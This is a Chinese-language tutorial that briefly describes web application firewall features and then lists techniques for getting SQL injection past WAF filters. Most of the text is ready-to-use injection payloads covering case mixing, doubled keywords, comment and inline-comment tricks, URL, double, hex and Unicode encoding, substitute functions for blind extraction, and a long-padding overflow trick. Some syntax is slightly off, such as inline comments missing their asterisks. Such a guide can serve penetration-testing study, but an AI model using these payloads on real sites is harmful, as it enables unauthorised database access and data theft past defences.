一、WAF的常见特点
异常检测协议拒绝不符合HTTP标准的请求
增强的输入验证代理和服务端的验证而不只是限于客户端验证
白名单&黑名单白名单适用于稳定的We应用黑名单适合处理已知问题
基于规则更多的依赖黑名单机制基于异常更为灵活
状态管理重点进行会话保护
二、绕过WAF的方法
1、大小写混合
大小写混合用于针对大写或者小写的关键字匹配技术,如果匹配时大小写不敏感,则无法使用该方法。
?id=-100'union select 1,2,3 and'
可变形为:
?id=-100' UNion sELECt 1,2,3 and'
2、双写绕过
如果WAF对关键字的处理是替代为空,则可使用双写尝试绕过
?id=-100'union select 1,2,3 and'
变形为:
?id=-100' union SelSELectect 1,2,3 and'
- SelSELectect:将SELect替换为空后,就变成了Select
当然,可以以双写为基础,多次嵌套,进行三写等等,进行测试
3、使用注释
①普通注释
常见的注释有:
//、/**/、--、--+
在构造中插入注入可以规避对空格的依赖和关键字的识别
?id=-100'union select 1,2,3 and'
?id=-100'/**/%55nion/**/Select 1,2,3 and'
- 空格→/**/、Union→%55nion
②内联注释
/!内容/:只有MySQL会正常识别内容
?id=-100'union select 1,2,3 and'
?id=-100'/**//!%55nion//**/Select 1,2,3 and'
- union→%55nion→/!%55nion/
4、使用编码
①URL编码
常见编码
- 空格:%20 换行:%0a □:%0b /*:%2f%2a(这几个一定情况下都可作为空格使用)
- 单引号:%27
- 双引号:%22
- 左括号:%28
- 右括号:%29
- ||:%7C%7C
- &&:%2626
?id=-100'union select 1,2,3 and'
变换为:
?id=-100%27%0aunion%0aselect%0a1,2,3%0a%26%26%27
- 这里'→%27 空格→%0a and→&&→%26%26
当然,如果URL编码只进行了一次解码过滤,则可用两次编码绕过
?id=-100%2527%250aunion%250aselect%250a1,2,3%250a%2526%2526%2527
②十六进制编码
?id=-100'union select 1,2,3 and'
?id=-100%2527%250a0x756e696f6e%250aselect%250a1,2,3%250a%2526%2526%2527
这里union使用十六进制编码为0x756e696f6e
③Unicode编码
常用的编码
- 单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
- 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
- 左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
- 右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
5、等价函数替换
当有的函数或命令被检测出来后,我们可以尝试使用等价函数替代
①等号
<>(相当于!=)、>、<
?id=1'and ascii(substr(database(),1,1))<>115--+
like、rlike函数
?id=1'and database() like 't%'--+
in,between
?id=1'and database() in ('test')--+
?id=1'and substr(database(),1,1) BETWEEN 't' and 't'--+
②substr、mid等被过滤
locate、position
locate(str1,str2):返回str1字符串在str2里第一次出现的位置,没有返回0
Locate(str1,str2,pos)返回str1字符串在str2里pos(起始位置)出现的位置,没有返回0,pos必须大于第一次出现的位置,才能显示第二次出现的位置
?id=1'and LOCATE('e',database())in('2')--+
instr
instr(str,子串):查找一个字符串中子字符串第一次出现的位置,如果没有找到,则返
回0(从1开始)
?id=1'And instr(database(),'t')=1--+
lpad、rpad
lpad()和rpad()是MySQL数据库中用于字符串前面或者后面填充特定字符的函数
?id=1'and rpad(user(),1,'')='t'--+
③逗号被过滤
from ... for ...
?id=1'and substr(database()from 2 for 1)='e'--+
from
?id=1'And substr(database() from 1)='test'
6、使用特殊符号
使用反引号`
可以用来过空格和正则,特殊情况下用作注释
使用- + .
用于字符串连接
?id=1'union+select-1,2--+
7、缓冲区溢出
缓冲区溢出用于对付WAF在内的软件本身有不少WAF是C语言写的而语言自身没有缓冲区保护机制因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug从而实现绕过
?id=1'and(select1)=(select0xA*1000) union select 1,2,3and'
- 0xA*1000指0xA后面的A重复1000次
通常情况下,以上方法需要组合使用